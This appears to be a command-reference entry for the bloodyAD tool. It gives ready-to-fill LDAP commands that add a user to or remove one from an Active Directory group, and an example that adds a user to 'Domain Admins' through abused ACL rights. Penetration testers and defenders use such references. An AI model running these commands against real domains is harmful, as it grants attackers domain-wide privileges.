bloodyAD Add Group Member

Add a user/computer to a group via LDAP. Common abuse path when GenericAll/WriteProperty over a privileged group is achieved through ACL chains.

Tool
bloodyAD
Category
Post-Exploitation / AD Object Manipulation
Platform
linux
Requires
password
Protocols
LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' add groupMember '<group>' '<member>'

Credential variants

The same attack using a different authentication material.

Remove requires password

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' remove groupMember '<group>' '<member>'

Examples

bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' add groupMember 'Domain Admins' jdoe

Tags

bloodyad groups acl post-exploitation

References